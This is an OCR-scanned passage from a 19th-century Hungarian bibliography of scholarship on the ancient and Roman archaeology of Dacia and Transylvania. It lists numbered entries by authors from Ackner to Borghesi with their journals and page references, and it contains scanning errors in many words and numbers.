részben elősoroltak közül azok. a melyekben az illető hely-
uév megjelöltetik, leihelyek szerint osztályozva 106
IV. • Világtárlatokra, muzeumokra, köz- és magángyűjteményekre
s régiségtárlatokra vonatkozó közlemények, katalógusok ... Ilii
V. « A románok (oláhok i eredetét, nyelvéi és történetét tárgyal
szerzők neve alatt vagy névtelenül megjelent művek ...
VI. <« Kézíratok löö
RÖVIDÍTÉSEK (ABBREVIATIONES).
Abth.
— AbtheiluDg (sectio).
B.
— Bánd (tomus).
H.
= Heft (fasciculus).
L.
— Lásd Ividel.
N. F.
— Xeue Folge (series nova).
T.
= Tomus.
Ú. f.
— Új folyam (series nova).
V, ö.
— Vesd össze (confer).
n.
= ál>ra (figura).
cs.
= csornag (sarcinal.
d.
— darab (frustum).
évf.
= évi folyam (series annua).
évn.
= évnegyed, év nélkül (quartalis, sine anno).
/•
= füzet (fasciculus l.
Ti.
= kötet (toraus).
1.
■= lap, lásd (pagiua, vide).
o.
z= oldal (latus).
r.
— rész (pars).
sz.
— szám (numerus i.
i.
— tábla (tabula).
ii. a.
= ugyanakkor, ugyanaz, ugyanazon (eodem anno, idem)
11. 0.
= ugyanott (ibidem).
V. ö.
= vesd össze (confer).
I. RÉSZ.
A SZERZŐK NEVE ALATT MEGJELENT ÖNÁLLÓ MÜVEK, FOLYÓ-
IRATOKBAN ÉS HÍRLAPOKBAN KÖZÖLT ÉRTEKEZÉSEK. CZIKKEB
STB.
1 — 858. szám.
I'AIÍS I.
OPERA SINGDLABIA, PORRO DISSEliTATIONES ET COMMENTATIONES BBEVIOB -
SCRIPTI8 PERIODICIS VEI, ACTIS DIÜBNIS EDITAE ET AÜCTORVM NOM1NU -
INSKtNITAE.
.Yuiii. 7 — iV-76'.
A.
1 . Ackner / Mirhád Johann — . Várhely in antiquarischer Hinsicht im
Jahr 1832. — L. Benűpii und Xeugeboren, Transsilvania periodiscHe
Zeitschrift für Landeskunde (Hermannstadt 1 1. k. (1833) 264 285. 1.
— II. k. (1833) 222—285.1.
2. — Die antiken Münzen, eine Quelle der álteren Geschichte Sieben-
bürgens. 101 — 275 nach Chr.— L. Schnller, Archív für die Kenntniss
von Siebenbürgens Vorzeit und Gegemvart (Hermannstadt i I. k.
1841) 09 — 96, 297 — 331. 1. ; és Archív des Véreim für siebenbür-
ffische Landeskunde (Hermannstadt) I. k.. 2 f. (1845) 58 — 77. 1.
3. — J. F. Maszmann über die wachsernen Tafeln von Abrudbánya.
L. Transsilvania, Beiblatt zum Siebenbürger Botén (Hermannstadt)
isi], éví., 7r>. sz., 321—322. 1. | r. jegy alatt).
-í. Reisebericht über einen Tlieil der südlichen Karpathen, vrelche
Siebenbiirgen von der kleinen Walachei trennen. aus dem Jahre
1 S3S. Archaologische Beinerkungen. — • L. Archív des Yereins fúr
siebenbürgische Landeskunde (Hermannstadt) I. k.. 2. f. 1 1845) 8 — 33. 1.
5. — Alterthuinsforschung zwiscben Kastenholz und Girelsau. — L. Trans-
silvania, Beiblatt zum Siebenbürger Botén (Hermannstadt) 1845.
évi".. 20. sz., 127— 128. 1. ; 27. sz., 130—132. 1.
6. — Abhandlungen über Monumente, Steinschriften, Münzen und Itine-
rarien aus der Römerzeit mit besonderer Hinsicht auf Hacien. Kin
Beitrag zur Archaologie Siebenbürgens. — L. Archív des VereinsJ'iu
siehenhürijisdie Landeskunde \ Hermannstadt | 1 . k.. :>. í'. i 1 S 15 ' 5 - i i . I
7. — Acknerus Thalsonio S. P. — L. Transsilvania. Beiblatt zum Sieben-
bürger Botén i Hermannstadt) 1846. évf., 32. sz.. 1 ír. 148. 1.
S. — Neigebaur's Besuch in Hammersdorf. — L. Transsilvana, Beiblatt
zum Siebenbürger Botén (Hermannstadt) 1847. évf., 34. sz., 1 12
143. 1.; 35. sz., 146—148. 1.: 36. sz., 150—152. 1.
1
4 I., Ackner, 9-17.
9. Rapporto intorno álla sorté sofferta dalle collezioni archeologiche
della Transilvania durante l'insurrezione ungliercse deli' anno 1849.
L. Bullettino delV Instituto di corrispondenza archeologica (Roma)
1850. évf., 1. i'.. í — 7. 1. (közölte Henzeri). Német fordítását 1. Mut-
ter für Geist, Gemüth und Vaterlandskunde (Kronsadt) 1851. évf.,
117— 100. 1.
10. Anticliitá della Transilvania. Neeropoli antica nella Transilvania. —
L. Bullettino deW Instituto di corrispondenza archeologica (Roma) 1850.
évf., 8. 1'., |29 — 130. 1. (közölte Henzen). Német fordítását 1. Blatter
für Geist, Gemüth und Vaterlandskunde (Kronstadi | I 851 . évf., 89 — 90 1.
11. — Beitrag zur siebenbürgisclien Archáologie. — L. Blatter für Geist,
Gemüth und Vaterlandskunde (Kronstadt) 1851. évf., 116 — 119. 1.
l-_\ — Bemerkungen über den sogenannten röm. Marstempel zu Deinsus irn
Hatzeger Thale in Siebenbürgen. — L. Sitzungsberichte der phil.-hist.
Classe der kaiserl. Akademú der Wissenschaften (Wien) VI. k. (1851)
283—285. 1.
1 3. — Auszug aus dem Tagebuclie über neuentdeckte vaterlándiscbe, arcbáo-
logische Gegenstánde des letztverflossenen Decennhuns 1836 — 1S45.
- L. Archív des Vereins für siebenbüryische Landeskunde (Hermann-
stadt) IV. k., 1. f. (1851) IS— 35. 1.
\X. — Beisenotizen wáhrend der Pahrt zur Versammlung des Vereins für
siebenb. Landeskunde nacb Broos 1852. — L. Transsilvania, Bei-
blatt zum Siebenbürger Botén (Hermannstadt) 1852. évf., 19. bz.,
7s -80. 1.: 20. bz., 83-86. 1.
15. Archáologische Forscbungen. — L. Transsilvania, Beiblatt zum
Siebenbürger Botén (Hermannstadt) 1855. évf., 10. sz., 3'.i — 40. 1.
16. - Fahrt nacb Kronstadt. — L. Transsilvania, Beiblatt zum Siebenbür-
ger Botén (Hermannstadt) 1855. évf., 13. sz.. 50 — 51. 1.: 15. bz.,
58 60. 1.; 16. sz., 62—64. 1.
17. Decennal-Aufzeichnung der arcbáologischen Funde in Siebenbürgen
vom Jahre 1845 bis 1855. — ■ L. Mittheilungen der k. k. ( 'entral-Com-
mission zur Erforschung und Erhaltung der Baudenkmale (Wien) I. k.
(1856) 85- 87, 93—103, 126—132. 153—158.1. — Utánnyomatát 1.
Transsilvania, Beiblatt zum Siebenbürger Botén (Hermannstadt)
1856. évf., 20. sz.. 77—78.1.; 26. sz., 101—103.1.; 27. sz., 105—
106. 1.: 28. sz., 109—110. L; 29. sz.. 113— 114. 1. ; 38. az., 149—
150. 1.: 39. sz.. 153. 1. ; 10. bz., 157 -159. 1.
I., Acknur,
18. - Die römischen Alterthümer and deutschen Burgen in Siebenbür-
gen. Jj.Jahrbuch der k, k. Central- Commission :nr Erfnrsrhung mul
Erhaltung der Baudenkmale (Wien) [. k. (1856) 3 íl.l. • lenyo
tnata u. a. czím alatt. Wien, 1857. 3r). [smerl Archaeologiai
Közlemények (Pest) II. k. 1 1 861 | 219 258. 1.
10. Neuester Fund antiker Münzen. — L. Transsilvania, Beiblatj zum
Siebenbürger Botén (Hermannstadt) 1856. évf., 28. sz., I 10. 1.
20. Neuester archáologischer Fund in Kleinschelken , am 22. August
1856. - L. Transsilvania, Beiblatt zum Siebenbürger Bot(
mannstadt) 1856. évf., 'M. sz... I \.:, -146. 1.
21. — Die Colonien und militárischeu Standlager der Rómer in Dacien ím
heutigen Siebenbürgen. — L. Jahrlmch der k. k. Central- Commission
zur Erforschung und Erhaltung der Baudenkmale (Wien) II. k. (1857)
65 100. 1. (és lenyomata m. a. czím alatt. Wien, 1857. 8r).
22. Ausflüge bei Gelegenheit der Fahrt nach Sáchsisch-Eeen zur ( reneral-
versammlung des Vereins für siebenbürgische Landeskunde vom I \.
bis 28. August 1S57. — L. Transsilvania, Beiblatt zum Siebenbürger
Botén (Hermannstadt) 1857. évf., 39. sz., 153 — 154. 1. ; í-J. sz.. 165
166. 1.; 43. sz... 169 170. 1.; í7. sz.. [85. 1.; 18. sz.. 189. 1.
23. — Batbselhafte Medaillons. — L. Mittheilungen der k. k. Central-Com-
mission zar Erforschung und Erhaltung der Baudenkmah (Wien) III.
k. (1858) 82—83.1.
24. — Dasnáchst Reuszmarkt entdeckte römische Grab. L. Transsilvania,
Beiblatt zum Siebenbürger Botén (Hermannstadt I 1858. évf., \\. sz.,
177— 17S. 1.
-17). — Römisch-dacische Alterthümer. — L. Archív des Yereines für sieben-
bürgischeLandeskunde (Kronstadt) N.F. IV.k., l.f. i 1859) 104 -108.1.
(a 109 — 134. 1. Henzen 308. sz. müvének német fordít;
~2C>. — Archáologischer Fund bei Olosztelek (így). — L. Transsilvania,
Watt zum Siebenbürger Botén (Hermannstadt) 1859. évf., 19
73 -74. 1.: 25. sz.. 99 100. 1.
"2~. — Archáologisches. — L. Transsilvania, Beiblatt zum Siebenbürger
Botén (Hermannstadt i 1859. évf., 23. sz.. 92. 1. (A. jegy alán
28. — Aus Siebenbürgen. — L. Gerhard, Archáologischer Anzeiger, Zur
Archaologüchen Zeitung\ Berlin) XVII. k. i 1859) 130. 131. sz.. \
12S':. 1. (Römische Inschriften .
t2(.l. — Neue Fnnde in Siebenbürgen. - L. Mittheil uw/en der k. k. Central
6 I.. Ackner— Anville, 30—38.
( 'ommission zur Erforschung und Erhaltung der Baudenkmále (Wien)
V. le. (1860) 24—26.1.
30. Kund eines Mithras-Basreliefs in Siebenbürgen. - — L. Mittheilungen
der k. k. Central-Commission :>//" Erforschung und Erhaltung der Bau-
denkmále (Wien) V. k. (1860) 56. 1.
31. Arcbaologiscber Fund bei Olosztelek (így) in Siebenbürgen. — L.
Mittheilungen der k. k. Central-Commission c//y Erforschung und Erhal-
tung der Baudenkmále (Wien) Y. k. | 1,860) 88— 90. 1.
32. Bemerkungen zu der in der Transsilvania Nr. 9 gebraebten Nacbricbt
über den neuen, in Karlsburg gemaebten epigrapbiseben Fund. -
L. Bielz, Transsilvania, ^'ocbensebrift für siebenbürgische Landes-
kunde, Literatur und Landeskultur (Hermannstadt) X. F. I. évf.
(1861) 137—140. 1. ( L. Schlauf 666. és Schmidt 672. sz.)
33. — Grabaltertbum bei Holzmengen im Harbachtbal. — L. Bielz, Trans-
silvania, Wocbenscbrift für siebenbürgisebe Landeskunde, Literatur
und Landeskultur (Hermannstadt) N. F. II. évf. (1862) 22 —23. L
'■'>\. — Dacien in den antiken Münzen. — L. Mittheilungen derk.k. Cen-
tral-Commission zur Erforschung und Erhaltung der Baudenkmále
(Wien) VII. k. (1862) 135—141, 164—173, 105—199, 221—228,
217 — 251. 1. (és lenyomata u. a. czím alatt, Wien, Isti'!. 8r.j
35. — und Friedrich Müller. Die römiseben Inscbriften in Dacien. WienT
1865. 8r. (Ismertette: Kenner, Oesterreichische Wochenschrift für Wis-
sensebaft, Kunst und öffentlicbes Lében, Beilage zur Wiener Zeitung
1S65. évf., 8Í4— 849. 1. és R., u. o., 664—665. 1.
— L. Schuller 690. sz. és //. rész 1. sz.
36. Adorján (Mikin*/. A dévai vár. — L. Hunyad, vegyes tartalmú megyei
betiközlöny (Déva) 1877. (I.) évf., 2. sz. (Tárcza).
- Amantius ( Barptholomeus — ). — L. Apianus 42. sz.
37. Ambrus 'Józsefi. O-bébai régiség leletek. — L. Történelmi és régészeti
értesítő, a délmagyarországi történelmi és régészeti társulat közlönye
(Temesvár) IV. évf. (1878) 189—194, 199. 200. 207. 1. (V. ö. ///. rész:
8 í . sz.).
38. Auville (Jean-Bapt. Bourguignon d' — ). Mémoires sur la nation des
Gétes et Daces. — L. Mémoires de Vacadémie des inseriptions (Paris)
XXV. k. (1759) 34 — 47. 1. és Mémoires de littérature tirés des regútres
de Vacadémie royale des inseriptions et belles-lettres (Paris) XXX. k.,
237—261. 1.
I. • Anville— Ani.-tli. 39-47. 7
39. — Auazug ati8 D'Anville'a Abhandlung von den Völkern, welche heul
zu Tagé das Trajanische Dacien bewohnen (Mémoires de littérature
tiréa des registres de l'académie royale dea inscriptione el b<
Iettrea.Tome XXX. p. 237— 261 . Edit.de Paris in i-to). — L. Sie-
benbürgisché Quartalschrift (Hermannatadt) I. évf. (1790 283 312. 1.
itt. D'Anville's Abhandlung von den Völkern, welche heui /u Tagé dac
Trajanische Dacien bewolinen. — L. Transsilvania, Beiblatl zum Sir
benbürger Botén (Hermannatadt) 1858. évf., 44. sz., 178. 1. ; 15. sz.,
isi. 1.; 16. sz., is:,- isii. 1.; 17. sz.. 189. 1. : 48. bz., 193.1.; I 9
197. 1. ; 50. sz., 201. 1.
41. — Description de la Dacé, conquiae parTrajan. — L. Mémoires <l- Vaca-
démü des mscriptions | Paris i XXXVIII. k. (1761) 5 í I 162. 1.
— — L. még: //. rész, 18. sz.
42. Apianus Petrus — J et Barptholomeus Aniantius. Inscriptiones sacro-
sanctae vetuatatis non illae quidem romanae, sed totius fere orbis
summo studio ac maximis impensis terra marique conquisitae.
[ngolatadii, 1534. ír. — 4-91, 3; 4-03. 3.
43. Arneth (Joseph —). Zwölf römiache Militar-Diplome. Beachrieben von
— , auf Stein gezeichnet von Albert Camesina. Wien, 1843. ír. 6,
I2éa21; 7,26; 54 59, VII. és 10— 20. t.;61- 64, IX. éa 22. t.
(Ismertette Foeringer, Münchener Gelehrte Anzeigen, isíi. évf., -
296. 1.)
44. - Über einen Fnnd von Gold-Monumenten in der Walacbei. — L.
titzungsberichte der phil.-hist. Classeder kaiserl. Akademie der II issen-
schaften (Wien) I. k. (1848) 42—45 illetőleg 86—89. 1.
45. — Az Aradmegyében lelt arany edényről. — L. Sitznngsberíehte der
phil.-hist. Classe der kaiserl. Academie der Wissenschaften (Wien) I. k.
1848) 149. 1.
4ü. — Archáologische Analekten. — L. Sitzungsberichte der kaiserl. Aka-
demie der Wissenschaften. Phil.-hist. Classe (Wien) VI. k. (1851)
280—283,307 309. 1. - XI. k. (1853) 308— 316. 1. éa 1 II. t. —
XII. k. (1854) 696. 1. - XL. k. (1862) 343 350,351- 353,356—
358,359, 362—3641.; és: Tafeln zn den Sitzungsberichten der phil.-
hist. Classe B. VI, He/t l, 2, 3 Janner, Február, Miirz 1851 .
chaeólogüche Análeeten vonJoseph Arneth). "Wien, 1851., XT\ XIX. t.
47. — Die Trajans-Insehrift in der Xiihe des eisernen Thores. - L. Jahr-
buch der kaiserl. königl. Central-Commission inr Erforschung ttn>l Kr-
I., Arneth— Bardócz, 48—58.
haltung der Baudenkmale (Wien) I. k. (185G) 83 — 90. 1. (és lenyomata
//. ti. czím alatt, Wien, 1856. 4l\).
— — L. még: IV. rész, 12 — 10. sz
18. Asaky ; Aga Georg — ). Dakia si Traian. Jassi, 1840. 8r. — Német for-
dítását 1. Blatter/ür Geist, Gemüth und Vaterlandskunde (Kronstadt)
1811. évf.. 11. sz., 81—83. 1.
49. Aschbach (Joseph — /. Über Trajan's steineme Donaubrücke. — L.
Mittheilungen der k. k. < 'entral-Commission zar Erforschung >ni>l Er-
haltung der Baudenhnale (Wien) III. k. (1858) 197— 220. 1.
50. — Die britannischen Auxiliartruppen in den römischen Donaulándern.
- L. Jahrbuch für vaterlandische Geschichte (Wien) I. évf. (1861)
249, 249—251. 252, 266—267, 268, 270. 1.
51. Avellino (F. M. — ). Osservazioni sopra un inedito diploma militare
deli imperatore Alessandro Severo. — L. Opuscoli diversi. Napoli,
1826—1836. 8r. — III. k. 178, 207—209. 1.
B.
52. Bacsilla ( Elek >. Talált régiségek Erdélyben. — L. Hazánk s " Külföld
(Pest) 1867. évf., 11. sz., 175. 1.
53. — Apulum régiségeiről. -- Ti. Kolozsvári Közlöny lS(i7. évf., 96. bz.,
408. 1. ; 103. sz., 438. 1. ; 1 12. sz., 486. 1. (a Levelezés czímű rovatban).
54. — Még egy pár szó Apulum régiségeiről. — L. Kolozsvári Közlöny
1867. évf., 121. sz., 524. 1.
55. Baierus ( Ferdinandus Jacobus — ). Expositio veteris inscriptionis de
Aesculapio et Hygea diis <l>l \ VS0PQIH >IS. Altorfii, 1 742. 4r. - 1 'tán-
nyomatát (?) 1. Christianus Gottliéb Schwarz, Opuscula. Edit. Theo-
philus Christophor. Harles. Norimbergae, 1793. 4r. - I2í) — 174.1.
56. Ballá ( Károly). A Duna kőbidjai szemlélése. Traján hídja szemlélése.
— L. Tudományos Gyűjtemény (Pest) Y. k. (1820) 40— í-9. 1.
57. Bárány (Ágoston). Torontálvármegye bajdana. Buda, 1S45. 8r.
7—11, 5!)— Ül. 68, 87. 1.
58. Barbulescu. Előadása a kelta helyekről az olábországi Kalanfileszká
nevű jószágon Bukarest mellett. — L. A magyar orvosok és természet-
vizsgálók munkálatai (Budapest) XVI. k. (1872) 71. 1., 2. sz.
— Bardócz ( Elek). — L. Braun 111. sz.
I., Bartalis— Bedáus, 59—69.
59. Barialis ( Antonius ■). Ortus el occasus imperii Romanorum iii í
mediterranea ; cui acceduni nonnullae de monumento quodam e
ruderibus coloniae Apulensis eruto opiniones. Posonii, 1787. 8r.
Bartoli (Pietro Santi — ). L. Bellori 70. sz.
60. Baumstark ( Anton — ). Gotlii. — L. Pauly, Real-Encyclopadie dei clax-
süchen AUerthumswüsenschaft (Stuttgart) ÜL k. (1844)917 925.1.,
elszórva.
61.- Jazyges. — L. Pauly, Real-Encyclopadü der classischen Alterthums
icissenschaft (Stuttgart) IV. k. (1846) 37 38. 1.. elszórva.
62. Becker ( //. — ). Dacia. — L. Ersch — Gruber, Allgemeine Encyklopmlh
der Wissenschaften und Künste (Leipzig) I. Sect. XXIX. k. (1837
1 — 10. 1.
ti:-!. Becker (J. — . Beitrage zur römisch-keltischen Mythologie. - L.
Jahrbücher des Vereins von Alterthumsfreunden vti Rheinlandi (Bonn
XLII. H. (1867) 115— 1 IS. 1. ,9. Lacida regina).
64. Becker M. A. — ). Aelteste Geschichte der Lander des österreichi-
Bchen Kaiserstaates bis zum Sturze des weströmischeii Kaiserreiches
Orsterreichische Geschichte für das Volk I. kJ. Wien, 1865. 3
szórva, főleg : 1 1 1—1 20, 1 5Í I 1 62. 1.
65. Becker ( Wilhelm Adolph — 1 und Joachim Marquardt. Handbuch der
römischen Alterthümer nach deuQuelleu bearbeitet. Leipzig, I v I I
1856. 8r. I— IV. k.. elszórva, főleg: in. k., 1. r., 108—111
.XXII. Dacia i.
66. — Gallus oder römische Scenen aus der Zeit Augusts. Dritte berichtigte
und abermals sehr vermehrte Ausgabe v. Dr. Wilh. Rhein. Leipzig,
1863. 8r. — II. k., 396. 1.
<i7. Bedáus rJosef -- von Scharberg). Aus Siebenbürgen. I. Nachricht
über die im Sonimer 1822 in Clausenburg entdeckten Alterthümer.
— L. Hormayr, Archív für Geschichte, Statistik. Literatur und
Kunst (Wien) XIV. k. (1823) 173— 17G. 1.— L. még : ///. n
68. — Aus Siebenbürgen. - — L. Hormayr, Archív für Geschichte, Statistik.
Literatur und Kunst (Wien)XIV. k.(1823)590 592. 1. (aláírva : ■'./:.
69. — Abbildung von zwei altén Mosaiken, welche im Jahre 1823 zu Vár-
hely irn Hunyader Comitate entdeckt worden. Hermannstadt und
Kronstadt, 1825. ír. - (Ismertetésé! 1. Hormayr, Archív für Ge-
schichte, Statistik. Literatur und Kunst (Wien) XVI. k. (1825
7i5 — 746. 1.
10 I., Bellori -Bisselius, 70—80.
70. Bellori/ Gio. Pietro — ). Colonna Traiana, nuovamente disegnata et
intagliata da Pietro Santi Bartoli, con l'espositione latina d'Alfonso
Ciaccone, compendiata nella vulgare lingua sotto ciascuna immagine
accresciuta di medaglie, inscrittioni e trofei. Koma, 1672. £vr. Data
in luce da Gio. Giacomo de Rossi. — (Újabb kiadása Carlu Fea elő-
szavával megjelent Rómában, 1 8 1 o . ívr.)
71. Benigni (J. II. — /•. Milderiberg). Unterhaltungen aus der Geschirht.e
Siebenbürgens. Hermannstadt, 1840. 8r. • — I. k., 1 — 58. 1.
72. Benkő (Ferencz). Egy kis hazabéli vitázás. — L. Parnassusi időtöltés
1794 (Kolozsvár) VI. d. (1800) 3, 8, 9, 11, 15, 15—17, 18—24, 25,
-28, 33—34-. 1.
73. — Enyedi ritkaságok. Egy kis toldalékkal. — L. Parnassusi idő-
töltés 1796 (Kolozsvár) VII. d. (1800) 3G, 43, 46—47, 83—85,
92—98. 1.
74. Benkő (Josepkus — ). Transsilvania sive Magnus Transsilvaniae Prin-
cipatus olim Dacia mediterranea dictus. Pars prior sive generális.
Vindobonae, 1778. 8r. két kötet ; elszórva, főleg : I. k., 4 — 36, 474 —
484. 1. és Supplementa 536 — 550. 1.
75. Benkő (Károly). Marosszék ismertetése. Kolozsvár, 1868 — 1869. 8r. —
91—92, 145, 148, 155, 169, 173, 190—191, 204, 218,223—224,228,
239—240, 267, 310, 338, 343. 1.
- Benndorf ( Ottó —). L. Hirschfeld 314. sz.
76. Bessell f W. — ). Clothen. — L. Ersch — Orvber, Aügemeine Encyklopödie
der IVissensehaften und Künste (Leipzig) I. Sect. LXXV. k. (1862)
98—242. 1. elszórva.
77. Bethlen (Miklós, Gróf — ■). Önéletírása [a galgoviczi (?) — minden-
esetre Bethlen-Szentmiklóshoz közel fekvő valamely helység határán
létezett -- pogány várról]. — L. Szálat/ László, Magyar történelmi
emlékek (Pest) II. k. 1. fele (1858) 372. 1.
78. Bethlen i Wolfgangns — y. História de rebus Transsylvanicis. — Akeresdi
első ívr. kiadás 509 — 511. 1. ; a Benkő-féle második kiadás (Cibinii,
1773. 8r.)in. k., 326— 331. 1.
Bielowski. — L. Schmidt 671. sz.
79. Bielz f /•.'. A. — ). Dakische Tetradrachmen. Ein Beitrag zur Miinzkunde
Siebenbürgens. — L. Archív desVereines für sieberibürgische Landeskunde
(Hermannstadt) N. F. XI. k. (1873) 454—468. 1.
80. Bisselius (Joannes — ). Aetatis nostrae gestorum eminentium modullá
I., Blága-Böhni. 91. 11
liistorica, per aliquol septennia digesta. Ambergae, 1675. 8r. I.k..
105—109. 1. — n. k.. 291 292. 1.
81 . Blága ' János i. Régiségek nyomai Szász-Sebesben. L. Idők Va
nuja I86C. iVII.i évf. 53. sz., 218. 1. (Tárcza).
82. Bobrik. Ueber die bei Thorda in Siebenbürgexi aufgefundene Sphinx.
L. lllustrirte Zeitung (Leipzig) 1847. évf. (IX. k.) 221. sz., 202. 1.
83. Bock ' /■'>■. —). Der Schatz des Westgothenkönigs Athanarich, gefunden
im Jahre 1837 zn Petreosa in der grossen Walachei. - I.. Mitthei-
lungen der k. k. Central- Commission tur Erforschung tm<l Erhaltung
der Baudenkmale (Wien) XIII. k. (1868) 105 124. 1.
84. Böcking ( Eduardus . Notitia dignitatum et administrationtim om-
nium tam civilium (inam militarium in partibus orientis el occiden-
tis. Bonnae, 1839 1853. 8r. :! kötet, elszórva.
85. Bod ' Petrvs - — de F. Tsemáton). Apulumi római feliratos kő. L. a
Szenczi Molnár Albert és Pápai Páriz Ferenea Dictíonarium Latino-
I lttntiarin(in-áni\\\ 1767-ki nagyszebeni kiadásához írt előszavá-
ban, i i 5. 1.
S<i. Boeckh (Augustus ■) et Joannes Franz. Corpus [nscriptionum
Graecarum. Berolini, 1853. ívr. -- III. k., 1048—1049 1.. 6813
6815. sz.
87. Böhm (Leonhard - ). Geschichte des Temeser Bánat-. Leipzig, 1861.
8r. - I. k., 3— 21.1. — II. k., 143 146,195 196,277—324.1.
SS. - Dél-Magyarország vagy az úgynevezett Bánság külön történelme.
Pest, 1867. 8r. — I. k., 1-- 55. 1. és jegyzetek : 359 374. !. Esmer-
tette •/. II. Schwicker a Neiu Temesvarer Zeitung 1868. évf., 75, 32
és 95. számaiban a tárczában e czím alatt: Znr altern Geschichte
Ungarns ; igazolta és kiegészítette Ortvay Tivadar, 1. 7üY.\. sz.
89. Aus dein Bánat. — L. Mittheilungen der k. k. Central- Commission zur
Erfonchung und Erhaltuny der Baudenkmale (Wien) XII. k. !v">7
LXI— LXII. 1.
90. Régészeti tanulmányok a délmagyarországi római utakról. - L.
Történelmi és régészeti értesítőt a délmagyarországi történeh
régészeti társulat közlönye (Temesvár) II. évf. (1876) 195
1. (V. ö. u. o., 147.1.).
91. - Történet-régészeti kirándulás Palánkára és Rámára. — L. Történelmi
és régészeti értesítő, a délmagyarországi történelmi i - régi Bzeti társu-
lat közlönye (Temesvári III. évf. (1877) 168, 169. 1.
12 I., Böhm— Bonfinius, 92-99.
- — L. Műnk 521. sz.
92. Böhmer (Justus Henningius — ). De vestigiis et usu antiquitátum Daci-
carum in iure Komano. — L. mint DissertaUo praeliminarü-t báró
Kemény János következő művéhez igtatva : Commentatio hjstorico-
juridica de jure succedendi serenissimae domus Austriacae in reg-
num Hungáriáé. Halae Magdeburgicae, évn. (1731 ?) 4r., 11 számo-
zatlanlevél ; és Kernén;/ említett művének 6 — 7, 9 — 10. 1.
93. Bolliac ( ("esar — ). Daco-Romane. Rajztábla (Bucarest) évn.
91. — A Trompetta Carpatiloru (Bucarest). 1869. évf., 600. sz. megjelent
éremtani czikkének ismertetése. - L. Cipariu , Archivu pentrn
philologia si istoria (Blasiu) 1869. évf., XXV. sz., 504. 1. ; XXVI. sz.,
520. 1. (Notitie diverse.)
95. — Antice. ■ — L. Cipariu, Archivu pentru filológia si istoria (Blasiu)
1 869. évf., XXIX. sz., 584- — 585. 1. (a Trompet'a < •arpatiloru [Bucarest]
1869. évf., 785. sz. kivonata. Bolliac jelentése a román vallás- és
közoktatási ministerhez régészeti körútjáról).
96. — Archeológia. — ■ L. Trompetta Carpatiloru (Bucarest) 1871. (IX.) évf.,
939. sz. — 1872. (X.) évf., 1010. sz.
97. Bonbardus (Mich. — ). Topographia magni regni Hungáriáé, sive nobi-
lissimae ejus ditionis, quam modo Hungáriám dicimus, cum annexis
Dalmatiae, Croatiae, Sclavoniae, Serviae et Bulgáriáé ect. regni s :
tum etiam Transylvaniae, Valachiae, Moldáviáé provinciis. Viennae
Austriae, 1718. 4r. — 6 — 9 és elszórva: 31 8 — 360. 1. — Továbbá u.a. míí
második kiadásában ( . . . Olim a quodam Societatis Jesu sacerdote
conscripta, nunc studio cujusdam ex eadem Societate sacerdotis
[./. Trsztyánszky] emendata et auctaj. — Viennae, 1 750. ívr. — 1 7 — 24,
67—68, 69—70. 1.
98. Boner (Charles ■ — ). Transylvania ; its products and its people. London,
1865. 8r., és németül e czím alatt: Siebenbürgen. IauuI und Leutc.
Leipzig, 1868. 8r., elszórva, főleg: 49, 551, 568, 582—584, 631,
632. 1. (Ismertette: Sch., Mittheilungen der k. k. Central- Commission
znr Erforschung und Erhaltung der Baudenkmale (Wien) XI. k. (1866)
XXVII— XXIX. L, és Archaeologiai Értesítő (Pest) I. k. (1869)
1 52. 1.)
99. Bonfinius (Antonius — ). Rerurn Ungaricarum decades trés. Basileae,
1543. ívr. — Decadis L, liber 1., 5—7. 1. ; liber 2., 31. 1. — Decadis
III., libei-9., 518, 519. 1.
I., Bongarsius— Borghesi, 100 — 107. 13
100. Bongarsius (Jacobus . Appendix ml rea Hungaricas, in qua Tran-
sylviinicae inscriptionea veteres nonnullae ei annales exscripti <lu
templis Leutschoviensi et Coronensi. L. ./. Bongarsius, /,
Hungaricarum scriptores varii histotnci, geographici. Francofurti,
1600. ívr. - - <i]7- -628. 1. (Ugyanazon müvet 1. Schwandtner, Scríp-
tores rifiun Hungaricarum veteres, ac genuvni. Vindobonae, 1746
l", Í8 ívr. — I. k., 874 — 884. 1. [Transilvanicae inscríptioni
nonnullae et annales de templis Leutschoviensi et Coron
scripti] ; Tyrnaviae, 1765. 8r. — III. r., 358 — 31 í. 1. ; Vindobonae,
1760—1768. ár. — III. k., 197—208. 1.)
I" . Frankfurtban Kiül. sept. --'H-án kelt levele Meursius Jánoshoz. — L.
Jacnbi Bongarsii et Georgii Michaelis Lingelshemi epistolae. Argen-
torait, 1660. 12r. - 87—88. 1.
102. 3orghesi (Bartolomeo conte —). Al sig. consigl. Koelle (1824. oct. 25. ,
— L. Borghesi, Oeuvres complétes (Paris). Lettres, I. k. i 1868) 262
260. 1. i M. Claudius Frontom v< aKitkozó várhelyi feliratos emlékkő .
103. Diplomi iniperiali di congeclo íuilitare. — L. Oeuvres épigraphiques
Paris) I. k. (1864) 360 — 379. 1. Koráhhan megjelent e ezím alatt :
Sulla notizia di alcuni diplomi imperiali di congedo militare pubb-
licata dal professore Costanz<> Gazzcra. — L. Memorie delV Instituto
di corrispondenza archeobogica (Roma) I. k. (1832) 33 — 13. 1.
! I ) í . Diehiarazione d'una lapide Gruteriana per cui si determina il tempó
della prefettura urbana di Pasitilo. et l'etá di Palladio Rutilio Tauro.
— L. Oeuvres épigraphiques (Paris) I. k. (1861) 470 — 182. 1. Koráb-
ban megjelent: Memorie delV Accademia di Torino (Torino) XXVIII.
k. (1835) 18—2-2. 1.
105. - - Sulle iserizioni romane del Reno del prof. Steiner e sulle legioni
che stanziarono nelle due Germanie da Tiherio fino a Gallieno. -
L. Oeuvres épigraphiques (Paris) II. k. (1865) 202, 213—215, 235. 1.
Korábban megjelent : Annali delV Instituto die corrispondenza arche-
obogica (Roma) XI. k. (1839) 1 10. 1 17—1 18, 160. 1.
106. — Iserizioni latiné del Pireo e della Valachia (voltaképen azonban
alsó-moesiai felírat). — L. Buliét tinó deW Instituto <li corrispondenza
archeobogica (Romai 1843. évf., 9a. f., 132—134. 1.
107. — Iserizioni di Sepino. — L. Oeuvres épigraphiques (Paris) III. k. 1 1 869)
3(16, 367. 1. Korábban megjelent: Annali deli Instituto di corrispon-
denza archeologica (Roma) XXIV. k. 1 1852., ú. f., IX. k.) 27, 28. 1.
14 I., Borghesi— Caronnus, 108 — 117.
10S. [scrizione onoraria di Concordia. - L. Oeuvres épigraphiques
(Paris) III. k. (1869) 103— 404. 1. Korábban megjelent: Annali delV
Instituto die corrispondenza archeologica (Roma) XXV. k. (lsT)!!.,
ú. f., X. k.) 208. 1.
